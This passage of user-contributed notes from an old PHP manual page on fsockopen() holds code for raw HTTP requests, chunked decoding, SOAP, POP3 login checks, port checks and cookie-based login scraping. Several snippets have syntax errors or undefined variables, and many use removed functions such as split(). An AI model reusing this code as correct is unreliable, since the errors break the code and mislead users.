        fwrite($fd, date("Ymd G:i:s") . " - " . $file . " - " . $line . "\n");
        fclose($fd);
    }

    function __construct($url, $proxy_name = "", $proxy_port = "") {

        $this->set_request_url($url);
        $this->set_proxy_name($proxy_name);
        $this->set_proxy_port($proxy_port);

    }

    public function request_via_proxy() {

        $this->set_result($this->get_url_via_proxy());
        if (!$this->get_result()) {
            $this->logger("FAILED: get_url_via_proxy(" . $this->get_proxy_name() . "," . $this->get_proxy_port() . "," . $this->get_request_url() . ")", "RemoteFopenViaProxyClass.log");
        }
    }

    public function request_without_proxy() {

        $this->set_result($this->get_url($this->get_request_url()));
        if (!$this->get_result()) {
            $this->logger("FAILED: get_url(" . $url . ")", "RemoteFopenViaProxyClass.log");
        }
    }
}
?>

Use it this way:

<?php
// call constructor
$obj = new RemoteFopenViaProxy($insert_request_url, $insert_proxy_name, $insert_proxy_port);
// change settings after object generation
$obj->set_proxy_name($insert_proxy_name);
$obj->set_proxy_port($insert_proxy_port);
$obj->set_request_url($insert_request_url);
$obj->request_via_proxy();
echo $obj->get_result();
?>

If there are errors during execution, the script tries to write some useful information into a log file.
dot dot dot dot dot alexander at gmail dot com 08-Mar-2008 07:15
An edit to my below function for extra headers support and a bit of debugging
( array("key" => "value")  type)
 <?php

if(!function_exists("download")){
    function download($uri, $port = 80, $extra_headers = NULL){
if(!function_exists("stripos")){
    function stripos($str, $needle, $offset=0){
        return strpos(strtolower($str),strtolower($needle),$offset);
    }/* endfunction stripos */
}/* endfunction exists stripos*/
        if(!is_int($port))$port = 80;
        if(!is_array($extra_headers))$extra_headers = array();
        $uri = strtr( strval($uri), array("http://" => "", "https://" => "ssl://", "ssl://" => "ssl://", "\\" => "/", "//" => "/") );

        if(  ( $protocol = stripos($uri, "://") ) !== FALSE  ){
            if(  ( $domain_pos = stripos($uri, "/", ($protocol + 3)) ) !== FALSE  ){
                $domain = substr($uri, 0, $domain_pos);
                $file = substr($uri, $domain_pos);
            }
            else{
                $domain = $uri;
                $file = "/";
            }
        }
        else{
            if(  ( $domain_pos = stripos($uri, "/") ) !== FALSE  ){
                $domain = substr($uri, 0, $domain_pos);
                $file = substr($uri, $domain_pos);
            }
            else{
                $domain = $uri;
                $file = "/";
            }
        }

        $fp = fsockopen($domain, $port, $errno, $errstr, 30);
        if(!$fp){
            return FALSE;
        }
        else{
            $out = "GET " . $file . " HTTP/1.1\r\n";
            $out .= "Host: " . $domain . "\r\n";
            foreach( $extra_headers as $nm => $vl ){
    $out .= strtr( strval($nm), array( "\r" => "", "\n" => "", ": " => "", ":" => "") ) . ": " . strtr( strval($vl), array( "\r" => "", "\n" => "", ": " => "", ":" => "") ) . "\r\n";
            }
            $out .= "Connection: Close\r\n\r\n";

            $response = "";
            fwrite($fp, $out);
            while (!feof($fp)) {
                $response .= fgets($fp, 128);
            }
            fclose($fp);

            global $http_response_header;
            $http_response_header = array();
            if(  stripos($response, "\r\n\r\n") !== FALSE  ){
                $hc = explode("\r\n\r\n",  $response);
                $headers = explode("\r\n",  $hc[0]);

                if(!is_array($headers))$headers = array();
                foreach($headers as $key => $header){
                    $a = "";
                    $b = "";
                    if(  stripos($header, ":") !== FALSE  ){
                        list($a, $b) = explode(":", $header);
                        $http_response_header[trim($a)] = trim($b);
                    }
                }
                return end($hc);
            }
            else if(  stripos($response, "\r\n") !== FALSE  ){
                $headers = explode("\r\n",  $response);

                if(!is_array($headers))$headers = array();
                foreach($headers as $key => $header){
                    if(  $key < ( count($headers) - 1 )  ){
                        $a = "";
                        $b = "";
                        if(  stripos($header, ":") !== FALSE  ){
                            list($a, $b) = explode(":", $header);
                            $http_response_header[trim($a)] = trim($b);
                        }
                    }
                }
                return end($headers);
            }
            else{
                return $response;
            }
        }
    }/*endfunction download*/
}/*endif no function download*/
?>
huli0401 at gmail dot com 27-Dec-2007 09:12
<?php
// Check for new version
    $current_version = explode('.', '1.0.00');
    $minor_revision = (int) $current_version[2];

    $errno = 0;
    $errstr = $version_info = '';

    if ($fsock = fsockopen("www.exanmple.eu", 80, $errno, $errstr, 30))
    {
        @fputs($fsock, "GET /ver.txt HTTP/1.1\r\n");
        @fputs($fsock, "HOST: www.example.eu\r\n");
        @fputs($fsock, "Connection: close\r\n\r\n");

        $get_info = false;
        while (!@feof($fsock))
        {
            if ($get_info)
            {
                $version_info .= @fread($fsock, 1024);
            }
            else
            {
                if (@fgets($fsock, 1024) == "\r\n")
                {
                    $get_info = true;
                }
            }
        }
        @fclose($fsock);

        $version_info = explode("\n", $version_info);
        $latest_head_revision = (int) $version_info[0];
        $latest_minor_revision = (int) $version_info[2];
        $latest_version = (int) $version_info[0] . '.' . (int) $version_info[1] . '.' . (int) $version_info[2];

        if ($latest_head_revision == 2 && $minor_revision == $latest_minor_revision)
        {
            $version_info = '<p style="color:green">OK</p>';
        }
        else
        {
            $version_info = '<p style="color:red">neaktualne';
            $version_info .= '<br />'Latest_version_info' . $latest_version) . ' ' . sprintf(Current_version_info'. '1.0.00') . '</p>';
        }
    }
    else
    {
        if ($errstr)
        {
            $version_info = '<p style="color:red">' . sprintf(Connect_socket_error) . '</p>';
        }
        else
        {
            $version_info = '<p>'Socket_functions_disabled'</p>';
        }
    }

    $version_info .= '<p>'Mailing_list_subscribe_reminder'</p>';

echo $version_info;
?>
anarchy 04-Sep-2007 06:34
The DEFAULT stream timeout is set according to default_socket_timeout in your php.ini file.  Took forever for me to dig that up....
Adlez 04-Aug-2007 01:32
For those of you who do not have cURL, you might want to try this.
It doesn't have all the functions that cURL has, but it has the basics.
Please let me know of any bugs or problems.

<?php
function open_page($url,$f=1,$c=2,$r=0,$a=0,$cf=0,$pd=""){
 global $oldheader;
 $url = str_replace("http://","",$url);
 if (preg_match("#/#","$url")){
  $page = $url;
  $url = @explode("/",$url);
  $url = $url[0];
  $page = str_replace($url,"",$page);
  if (!$page || $page == ""){
   $page = "/";
  }
  $ip = gethostbyname($url);
 }else{
  $ip = gethostbyname($url);
  $page = "/";
 }
 $open = fsockopen($ip, 80, $errno, $errstr, 60);
 if ($pd){
  $send = "POST $page HTTP/1.0\r\n";
 }else{
  $send = "GET $page HTTP/1.0\r\n";
 }
 $send .= "Host: $url\r\n";
 if ($r){
  $send .= "Referer: $r\r\n";
 }else{
  if ($_SERVER['HTTP_REFERER']){
   $send .= "Referer: {$_SERVER['HTTP_REFERER']}\r\n";
  }
 }
 if ($cf){
  if (@file_exists($cf)){
   $cookie = urldecode(@file_get_contents($cf));
   if ($cookie){
    $send .= "Cookie: $cookie\r\n";
    $add = @fopen($cf,'w');
    fwrite($add,"");
    fclose($add);
   }
  }
 }
 $send .= "Accept-Language: en-us, en;q=0.50\r\n";
 if ($a){
  $send .= "User-Agent: $a\r\n";
 }else{
  $send .= "User-Agent: {$_SERVER['HTTP_USER_AGENT']}\r\n";
 }
 if ($pd){
  $send .= "Content-Type: application/x-www-form-urlencoded\r\n";
  $send .= "Content-Length: " .strlen($pd) ."\r\n\r\n";
  $send .= $pd;
 }else{
  $send .= "Connection: Close\r\n\r\n";
 }
 fputs($open, $send);
 while (!feof($open)) {
  $return .= fgets($open, 4096);
 }
 fclose($open);
 $return = @explode("\r\n\r\n",$return,2);
 $header = $return[0];
 if ($cf){
  if (preg_match("/Set\-Cookie\: /i","$header")){
   $cookie = @explode("Set-Cookie: ",$header,2);
   $cookie = $cookie[1];
   $cookie = explode("\r",$cookie);
   $cookie = $cookie[0];
   $cookie = str_replace("path=/","",$cookie[0]);
   $add = @fopen($cf,'a');
   fwrite($add,$cookie,strlen($read));
   fclose($add);
  }
 }
 if ($oldheader){
  $header = "$oldheader<br /><br />\n$header";
 }
 $header = str_replace("\n","<br />",$header);
 if ($return[1]){
  $body = $return[1];
 }else{
  $body = "";
 }
 if ($c === 2){
  if ($body){
   $return = $body;
  }else{
   $return = $header;
  }
 }
 if ($c === 1){
  $return = $header;
 }
 if ($c === 3){
  $return = "$header$body";
 }
 if ($f){
  if (preg_match("/Location\:/","$header")){
   $url = @explode("Location: ",$header);
   $url = $url[1];
   $url = @explode("\r",$url);
   $url = $url[0];
   $oldheader = str_replace("\r\n\r\n","",$header);
   $l = "&#76&#111&#99&#97&#116&#105&#111&#110&#58";
   $oldheader = str_replace("Location:",$l,$oldheader);
   return open_page($url,$f,$c,$r,$a,$cf,$pd);
  }else{
   return $return;
  }
 }else{
  return $return;
 }
}
/////////////
////Usage////
/////////////
$url = "http://www.php.net";
$f = 1;
$c = 2;//1 for header, 2 for body, 3 for both
$r = NULL;
$a = NULL;
$cf = NULL;
$pd = NULL;
$page = open_page($url,$f,$c,$r,$a,$cf,$pd);
print $page;
?>
bradland at umich dot edu 23-Jul-2007 09:32
I was having trouble doing an https in fopen and with fsockopen where the address had ssl://.  I was getting error code 114 in the log.  After much research i found that there was some ssl conflict trouble with MySQL 5.0.20-5.0.33.  It had some functions that were interfering with openssl that showed up in the php install.

http://bugs.mysql.com/bug.php?id=21930
http://bugs.mysql.com/bug.php?id=19289
warezthebeef at gmail dot com 17-Jul-2007 04:37
I ran into a problem where I needed to make an fsockopen() style connection from one specific ip address on a server with multiple ip aliases. Unfortunately fsockopen() does not allow the specification of a source address making it unsuitable. I could not find any other solutions elsewhere so here is mine for those with php 5.1.0 or greater.

<?php
// connect to the internet using the '192.168.0.100' IP
$opts = array('socket' => array('bindto' => '192.168.0.100:0'));

$context = stream_context_create($opts);

$fp = stream_socket_client("tcp://www.example.com:80", $errno, $errstr, 30, STREAM_CLIENT_CONNECT, $context);
?>

Now $fp can be used like a resource handle returned by a vanilla fsockopen() call!
aska at unit-mse dot jp 03-Jul-2007 06:58
easy get UIDL.
A code is better than the feof.

<?php

$fp = fsockopen($host, 110, $errno, $errstr, 5);
if ($fp > 0) {
    fread($fp,1024);
    fputs($fp, "USER $user\r\n");
    fread($fp,1024);
    fputs($fp, "PASS $pass\r\n");
    fread($fp,1024);
    fputs($fp, "UIDL\r\n");
    fgets($fp,1024);
    do {
        $line = rtrim(fgets($fp, 1024));
        if ($line == '.') break;
        list(, $UIDL) = split(' ', $line, 2);
        echo $UIDL;
    } while ($line != '.');

    fputs($fp, "QUIT\r\n");
}
fclose($fp);

?>
Alexander Wegener 26-May-2007 07:29
To check if a Url is Online (with http and https)
Using @fgets to hide Warning when using SSL
(Bug: "Warning: function.fgets SSL: fatal protocol error", http://bugs.php.net/bug.php?id=23220)

<?php

    function isOnline($url) {
        if (!$url_info = parse_url($url)) {
            return false;
        }

        switch ($url_info['scheme']) {
            case 'https':
                $scheme = 'ssl://';
                $port = 443;
                break;
            case 'http':
            default:
                $scheme = '';
                $port = 80;
        }

        $data = "";
        $fid = @fsockopen($scheme . $url_info['host'], $port, $errno, $errstr, 30);
        if ($fid) {
            fputs($fid, 'HEAD ' . (isset($url_info['path'])? $url_info['path']: '/') . (isset($url_info['query'])? '?' . $url_info['query']: '') . " HTTP/1.0\r\n" .
                        "Connection: close\r\n" .
                        'Host: ' . $url_info['host'] . "\r\n\r\n");
            while (!feof($fid)) {
                $data .= @fgets($fid, 128);
            }
            fclose($fid);
            return !empty($data);
        } else {
            return false;
        }
    }

?>
jbr at ya-right dot com 01-Mar-2007 08:17
[EDIT by danbrown AT php DOT net: This note contains a big-fixed version of the user function decode_body().  Fix by (martjean77 at hot dot sapm dot mail dot com) [sic].]

Handling chunked data needs careful handling, because the data can also be compressed inside the chunked data, and chunked data can have many parts, so you need to watch for that. Here a simple example that uses one function decode_header(); to build the header into a key => value array, so it makes it easy to test for the content and transfer types inside the decode_body(); function!

<?php

function decode_header ( $str )
{
    $part = preg_split ( "/\r?\n/", $str, -1, PREG_SPLIT_NO_EMPTY );

    $out = array ();

    for ( $h = 0; $h < sizeof ( $part ); $h++ )
    {
        if ( $h != 0 )
        {
            $pos = strpos ( $part[$h], ':' );

            $k = strtolower ( str_replace ( ' ', '', substr ( $part[$h], 0, $pos ) ) );

            $v = trim ( substr ( $part[$h], ( $pos + 1 ) ) );
        }
        else
        {
            $k = 'status';

            $v = explode ( ' ', $part[$h] );

            $v = $v[1];
        }

        if ( $k == 'set-cookie' )
        {
                $out['cookies'][] = $v;
        }
        else if ( $k == 'content-type' )
        {
            if ( ( $cs = strpos ( $v, ';' ) ) !== false )
            {
                $out[$k] = substr ( $v, 0, $cs );
            }
            else
            {
                $out[$k] = $v;
            }
        }
        else
        {
            $out[$k] = $v;
        }
    }

    return $out;
}

function decode_body ( $info, $str, $eol = "\r\n" )
{
  $tmp = $str;
  $add = strlen ( $eol );
  $str = '';
  if ( isset ( $info['transfer-encoding'] ) && $info['transfer-encoding'] == 'chunked' )
  {
    do
    {
      $tmp = ltrim ( $tmp );
      $pos = strpos ( $tmp, $eol );
      $len = hexdec ( substr ( $tmp, 0, $pos ) );
      if ( isset ( $info['content-encoding'] ) )
      {
        $str .= gzinflate ( substr ( $tmp, ( $pos + $add + 10 ), $len ) );
      }
      else
      {
        $str .= substr ( $tmp, ( $pos + $add ), $len );
      }

      $tmp = substr ( $tmp, ( $len + $pos + $add ) );
      $check = trim ( $tmp );
    }
    while ( ! empty ( $check ) );
  }
  else if ( isset ( $info['content-encoding'] ) )
  {
    $str = gzinflate ( substr ( $tmp, 10 ) );
  }
  else {
    $str = $tmp;
  }
  return $str;
}

if ( ( $io = fsockopen( "www.yahoo.com", 80, $errno, $errstr, 5 ) ) !== false )
{
    $send  = "GET / HTTP/1.1\r\n";
    $send .= "Host: www.yahoo.com\r\n";
    $send .= "User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021204\r\n";
    $send .= "Referer: http://www.yahoo.com/\r\n";
    $send .= "Accept: text/xml,application/xml,application/xhtml+xml,";
    $send .= "text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,";
    $send .= "image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1\r\n";
    $send .= "Accept-Language: en-us, en;q=0.50\r\n";
    $send .= "Accept-Encoding: gzip, deflate, compress;q=0.9\r\n";
    $send .= "Connection: Close\r\n\r\n";

    fputs ( $io, $send );

    $send = '';

    do
    {
        $send .= fgets ( $io, 4096 );

    } while ( strpos ( $send, "\r\n\r\n" ) === false );

    $info = decode_header ( $send );

    $send = '';

    while ( ! feof ( $io ) )
    {
        $send .= fread ( $io, 8192 );
    }

    fclose ( $io );

    $send = decode_body ( $info, $send );

    echo '<h3>Header Array</h3>';
    echo '<pre>';
    print_r ( $info );
    echo '</pre>';
    echo '<h3>Document Body</h3>';
    echo $send;

}

?>
ryan1_00 at hotmail dot com 29-Jan-2007 07:52
This script checks specific ports so you need to have the correct port open on the server for this to work.

E.g if i have a windows domain controller and it is servering LDAP then the following would be used to check it is online:
<?php
chkServer("MyDC", "389");
?>

for a webserver:
<?php
chkServer("MyWebSvr", "80");
?>

etc etc
--------------------------------------------------------

<?php
// check if a server is up by connecting to a port
function chkServer($host, $port)
{
    $hostip = @gethostbyname($host); // resloves IP from Hostname returns hostname on failure

    if ($hostip == $host) // if the IP is not resloved
    {
        echo "Server is down or does not exist";
    }
    else
    {
        if (!$x = @fsockopen($hostip, $port, $errno, $errstr, 5)) // attempt to connect
        {
            echo "Server is down";
        }
        else
        {
            echo "Server is up";
            if ($x)
            {
                @fclose($x); //close connection
            }
        }
    }
}
?>
v13+phpnet at it dot teithe dot gr 24-Jan-2007 03:01
The following function performs pop3 authentication. Returns NULL on error, or true/false to indicate username/password matching:

$address is the hostname of the server and $ssl is a boolean that indicates whether an SSL connection is requested.

<?php
function pop3authCheck($username, $password, $address, $ssl)
{
    if ($ssl)
        $uri="ssl://$address:995";
    else
        $uri="tcp://$address:110";

    $fp=fsockopen($uri);

    if (!$fp)
        return(NULL);

    $st=fgets($fp, 512);
    if (substr($st, 0, 3)!="+OK")
    {
        fclose($fp);
        return(NULL);
    }

    $st="USER $username\n";
    if (fwrite($fp, $st)!=strlen($st))
    {
        fclose($fp);
        return(NULL);
    }

    $st=fgets($fp, 512);
    if (substr($st, 0, 3)!="+OK")
    {
        fclose($fp);
        return(NULL);
    }

    $st="PASS $password\n";
    if (fwrite($fp, $st)!=strlen($st))
    {
        fclose($fp);
        return(NULL);
    }

    $st=fgets($fp, 512);
    fclose($fp);
    if (substr($st, 0, 3)=="+OK")
        return(true);
    else if (substr($st, 0, 4)=="+ERR")
        return(false);
    else
        return(NULL);
}
?>
04-Dec-2006 08:34
I've had issues with some of the handlers for chunked http 1.1 responses.  Here's a method that worked for me, if it works for you as well, then cheers :P

<?php

    function httpSocketConnection($host, $method, $path, $data)
    {
        $method = strtoupper($method);

        if ($method == "GET")
        {
            $path.= '?'.$data;
        }

        $filePointer = fsockopen($host, 80, $errorNumber, $errorString);

        if (!$filePointer)
        {
            logEvent('debug', 'Failed opening http socket connection: '.$errorString.' ('.$errorNumber.')<br/>\n');
            return false;
        }

        $requestHeader = $method." ".$path."  HTTP/1.1\r\n";
        $requestHeader.= "Host: ".$host."\r\n";
        $requestHeader.= "User-Agent:      Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\r\n";
        $requestHeader.= "Content-Type: application/x-www-form-urlencoded\r\n";

        if ($method == "POST")
        {
            $requestHeader.= "Content-Length: ".strlen($data)."\r\n";
        }

        $requestHeader.= "Connection: close\r\n\r\n";

        if ($method == "POST")
        {
            $requestHeader.= $data;
        }

        fwrite($filePointer, $requestHeader);

        $responseHeader = '';
        $responseContent = '';

        do
        {
            $responseHeader.= fread($filePointer, 1);
        }
        while (!preg_match('/\\r\\n\\r\\n$/', $responseHeader));

        if (!strstr($responseHeader, "Transfer-Encoding: chunked"))
        {
            while (!feof($filePointer))
            {
                $responseContent.= fgets($filePointer, 128);
            }
        }
        else
        {

            while ($chunk_length = hexdec(fgets($filePointer)))
            {
                $responseContentChunk = '';

                logEventToTextFile('debug', $chunk_length);
                $read_length = 0;

                while ($read_length < $chunk_length)
                {
                    $responseContentChunk .= fread($filePointer, $chunk_length - $read_length);
                    $read_length = strlen($responseContentChunk);
                }

                $responseContent.= $responseContentChunk;

                fgets($filePointer);

            }

        }

        logEventToTextFile('debug', $responseContent);

        return chop($responseContent);
    }

?>
albertohf at hotmail dot com 03-Aug-2006 09:01
I had a problem receving a "Content-Transfer: chunked" response i tried some prior codes but i had some problems too and i decided to code my own (it post something and receive the response although it's chunked). I hope you enjoy...

<?php
    function doPost($uri,$postdata,$host){
        $da = fsockopen($host, 80, $errno, $errstr);
        if (!$da) {
            echo "$errstr ($errno)<br/>\n";
            echo $da;
        }
        else {
            $salida ="POST $uri  HTTP/1.1\r\n";
            $salida.="Host: $host\r\n";
            $salida.="User-Agent: PHP Script\r\n";
            $salida.="Content-Type: application/x-www-form-urlencoded\r\n";
            $salida.="Content-Length: ".strlen($postdata)."\r\n";
            $salida.="Connection: close\r\n\r\n";
            $salida.=$postdata;
            fwrite($da, $salida);
                     while (!feof($da))
                $response.=fgets($da, 128);
            $response=split("\r\n\r\n",$response);
            $header=$response[0];
            $responsecontent=$response[1];
            if(!(strpos($header,"Transfer-Encoding: chunked")===false)){
                $aux=split("\r\n",$responsecontent);
                for($i=0;$i<count($aux);$i++)
                    if($i==0 || ($i%2==0))
                        $aux[$i]="";
                $responsecontent=implode("",$aux);
            }//if
            return chop($responsecontent);
        }//else
    }//function-doPost
?>
dmitry dot polushkin at gmail dot com 22-May-2006 05:45
If you want to GET/POST some page through the HTTP protocol and if you want to keep-alive your connection, you may have a problem with a loop-stuck. Here is hint how to solve it:
<?php
$fp = fsockopen ("www.php.net", 80, $errno, $errstr, 30);
if(!$fp) {
    echo $errstr;
} else {
    fwrite($fp, "GET / HTTP/1.1\r\nHost: www.php.net\r\nConnection: Keep-Alive\r\n\r\n");
    $data = '';
    while(!feof($fp)) {
        $data .= fread($fp, 4096);
        if(substr($data, -9)=="\r\n\r\n0\r\n\r\n") {
            exit;
        }
    }
}
echo $data;
?>
yourpicture at hotpop dot com 04-May-2006 11:30
When your connection times out the server may issue Fatal error: Maximum execution time of 30 seconds exceeded in ...
To get around this try this method used with error handling and copied method for ping operation.

<?php
    function Ping(){
        // false proxy used to generate connection error
        $ProxyServer = "116.155.95.163";
        $ProxyPort = 8080;
        $timeout=10;
        echo "Opening ProxyServer $ProxyServer<br>";
        // must use next two statements
        Set_Time_Limit(0);  //Time for script to run .. not sure how it works with 0 but you need it
        Ignore_User_Abort(True); //this will force the script running at the end

        $handle = fsockopen($ProxyServer, $ProxyPort,$errno,$errstr,$timeout);
        if (!$handle){
            echo "Failed to open ProxyServer $ProxyServer errno=$errno,errstr=$errstr<br>";
            return 0;
        }
        else {
            // copied method for PING like time operation
            $status = socket_get_status($handle);
            echo "Opened ProxyServer $ProxyServer<br>";

            //Time the responce
            list($usec, $sec) = explode(" ", microtime(true));
            $start=(float)$usec + (float)$sec;

            $timeout=120;
            stream_set_timeout($handle,$timeout);
            //send somthing
            ini_set('display_errors','0');
            $write=fwrite($handle,"echo this\n");
            if(!$write){
                return 0;
            }

            echo "Try To Read<br>";
            stream_set_blocking($handle,0);
            //Try to read. the server will most likely respond with a "ICMP Destination Unreachable" and end the read. But that is a responce!
            fread($handle,1024);
            fclose($handle);
            echo "Read<br>";
            ini_set('display_errors','1');

            //Work out if we got a responce and time it
            list($usec, $sec) = explode(" ", microtime(true));
            $laptime=((float)$usec + (float)$sec)-$start;
            if($laptime>$timeout)
                return 0;
            //else
            //    $laptime = round($laptime,3);
            return $laptime;
        }
    }

    // must use ErrorHandler to avoid php error being printed to screen
    function userErrorHandler($errno, $errmsg, $filename, $linenum, $vars)
    {
       // you can set this to what ever you like.
       echo "In Error Handler<br>";
       return 0;
    }

    $old_error_handler = set_error_handler("userErrorHandler");

    $time = Ping();
    echo "Time=$time<br>";
    echo "Done Checking<br>";
?>

Response Will be:
Opening ProxyServer 116.155.95.163
In Error Handler
Failed to open ProxyServer 116.155.95.163 errno=10060,errstr=A connection attempt failed
because the connected party did not properly respond after a period of time, or
established connection failed because connected host has failed to respond.
Time=0
Done Checking

Thanks to everyone for your source code examples.
AndE
yadiutama_skom at yahoo dot com 07-Apr-2006 02:09
This is a simple example for sending and retrieve SOAP message by using fsockopen:

<?php
$fp = @fsockopen("www.example.com", 80, $errno, $errstr);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {

$soap_out  = "POST /example/exampleServer.php HTTP/1.0\r\n";
$soap_out .= "Host: www.example.com\r\n";
$soap_out .= "User-Agent: MySOAPisOKGuys \r\n";
$soap_out .= "Content-Type: text/xml; charset=ISO-8859-1\r\n";
$soap_out .= "Content-Length: 512\r\n\r\n";
$soap_out .= '<?xml version="1.0" encoding="ISO-8859-1"?>
<SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<ns5973:contact xmlns:ns5973="http://tempuri.org">
<__numeric_0><id  xsi:nil="true"/></__numeric_0>
</ns5973:contact>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>';

    fputs($fp, $soap_out, strlen($soap_out));  // send request SOAP

    echo "<xmp>".$out."</xmp>";

    while (!feof($fp)) {
        $soap_in . = fgets($fp, 100);
    }

    echo "<xmp>$soap_in</xmp>";   //display response SOAP

    fclose($fp);
}
?>

And this is an example result:

POST /soap/example/contactServer.php HTTP/1.0
Host: www.example.com
User-Agent: MySOAPisOKGuys
Content-Type: text/xml; charset=ISO-8859-1
Content-Length: 512
<?xml version="1.0" encoding="ISO-8859-1"?>
<SOAP-ENV:Envelope
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body><ns5973:contact
xmlns:ns5973="http://tempuri.org"><__numeric_0><id
xsi:nil="true"/></__numeric_0></ns5973:contact>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

HTTP/1.1 200 OK
Date: Thu, 06 Apr 2006 07:03:26 GMT
Server: Apache/1.3.23 (Win32)
X-Powered-By: PHP/4.1.1
X-SOAP-Server: MySOAPisOKGuys
Content-Length: 625
Connection: close
Content-Type: text/xml; charset=ISO-8859-1
<?xml version="1.0" encoding="ISO-8859-1"?>
<SOAP-ENV:Envelope
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body><ns1:contactResponse
xmlns:ns1="http://tempuri.org">
<return xsi:type="xsd:string">
</return>
</ns1:contactResponse>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
Duukkis 27-Feb-2006 05:13
Lots of tries and lots of reading http-headers...

If you want to post $_POST vars and (in this case) one file named userfile to $remote_server and $remote_url.

<?php
        // get the necessary data
        $file_name = $_FILES['userfile']['name'];     // the file
        $tmp_name = $_FILES['userfile']['tmp_name'];     // the file
        $content_type = $_FILES['userfile']['type'];     // the file mime type

        srand((double)microtime()*1000000);
        $boundary = "---------------------".substr(md5(rand(0,32000)),0,10);

        // Build the header
        $header = "POST $remote_url HTTP/1.0\r\n";
        $header .= "Host: $remote_server\r\n";
        $header .= "Content-type: multipart/form-data, boundary=$boundary\r\n";
        // attach post vars
        foreach($_POST AS $index => $value){
            $data .="--$boundary\r\n";
            $data .= "Content-Disposition: form-data; name=\"".$index."\"\r\n";
            $data .= "\r\n".$value."\r\n";
            $data .="--$boundary\r\n";
        }
        // and attach the file
        $data .= "--$boundary\r\n";
        $content_file = join("", file($tmp_name));
        $data .="Content-Disposition: form-data; name=\"userfile\"; filename=\"$file_name\"\r\n";
        $data .= "Content-Type: $content_type\r\n\r\n";
        $data .= "".$content_file."\r\n";
        $data .="--$boundary--\r\n";
        $header .= "Content-length: " . strlen($data) . "\r\n\r\n";
                 // Open the connection
        $fp = fsockopen($remote_server, 80);
        // then just
        fputs($fp, $header.$data);
        fclose($fp);
?>
ittasks at gmail dot com 15-Feb-2006 04:02
login to the site prior to downloading page:

In some wierd situations site security is based on
 ASPSESSION ID and where could be a
 login asp  script in one place, and the actual page with
information in another place.

for such cases you have to submit ( POST ) you login and
password first, when grab ASP session (and also some
cookies from response, and when use that ASP SESSION in
second request to the actual page: (i took some parts of
codes from other ppl)
<?php
//submit login form: (url, post data, extra headers (optional))
//do not put  http into URL, just domain name
$mycookies = GetCookies("www.yourdomain.com/login.login.asp",
"password=12345&username=your_username&submit=LOGIN&set=Y","");
//some extra params if you need them
// echo "Cookies:<br><pre>\n".$mycookies."\n</pre>";
//$body =PostPage("www.example.com/coolpage.asp",
//"action=zzz",$mycookies);
//echo "<br>Body:<br>\n".$body."\n";
//im using get page - so it goes like this:
$opts = array('http'=>array('method'=>"GET",
'header'=>"Accept-language: en\r\nCookie: ".$mycookies."\r\n" ));
$context = stream_context_create($opts);
$fp = fopen('http://www.example.com/coolpage.asp?p1=1&p2=23', 'r', false, $context);
fpassthru($fp);
$html = fread($fp, 1000000);
fclose($fp);
echo $html;

function PostPage($host,$query,$others=''){
   $path=explode('/',$host);
   $host=$path[0];
   unset($path[0]);
   $path='/'.(implode('/',$path));
$post="POST $path HTTP/1.1\r\nHost: $host\r\n";
$post.="Content-type: application/x-www-form-";
$post.="urlencoded\r\n${others}";
$post.="User-Agent: Mozilla 4.0\r\nContent-length: ";
$post.=strlen($query)."\r\nConnection: close\r\n\r\n$query";
   $h=fsockopen($host,80);
   fwrite($h,$post);
   for($a=0,$r='';!$a;){
       $b=fread($h,8192);
       $r.=$b;
       $a=(($b=='')?1:0);
   }
   fclose($h);
   return $r;
}
function GetCookies($host,$query,$others=''){
   $path=explode('/',$host);
   $host=$path[0];
   unset($path[0]);
   $crlf = "\r\n";
   $path='/'.(implode('/',$path));
   $post="POST $path HTTP/1.1\r\nHost: $host\r\n";
$post.="Content-type: application/x-www-form-urlencoded\r\n${others}";
$post.="User-Agent: Mozilla 4.0\r\nContent-length: ";
$post.=strlen($query)."\r\nConnection: close\r\n\r\n$query";
   $h=fsockopen($host,80);
   fwrite($h,$post);
   $r="";
   for($a=0;!$a;){
       $b=fread($h,512);
       echo $b;
       $r.=$b;
       $gotSession=strpos($r,"ASPSESSION");
   if($gotSession)
      if(strpos($r, $crlf . $crlf,$gotSession)>0) break;
       $a=(($b=='')?1:0);
   }
   fclose($h);
   $arr = split("Set-Cookie:",$r);
   $AllCookies="";$count=1;
   while ($count < count($arr)) {
$AllCookies.=substr($arr[$count].";",
0,strpos($arr[$count].";",";")+1);

 $count++;}
   return $AllCookies;

}
 ?>

It's not optimized , but i hope someone might find it usefull.
Best Regards
DRY_GIN
sivann at cs dot ntua dot gr 09-Dec-2005 07:40
This is an ident request example. If your client is running identd your real username will be known by the server.
It is also usefull to identify people bypassing IP ACLs by using SOCKS proxy and dynamic IP forwarding. If the socks proxy server uses ident (most unices do) you will know his real username.
For more information see RFC1413
Timeout of 2 seconds in the example may not be enough.

<?php
error_reporting(E_ALL);
$remip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
$remport = $HTTP_SERVER_VARS['REMOTE_PORT'];

ob_implicit_flush();
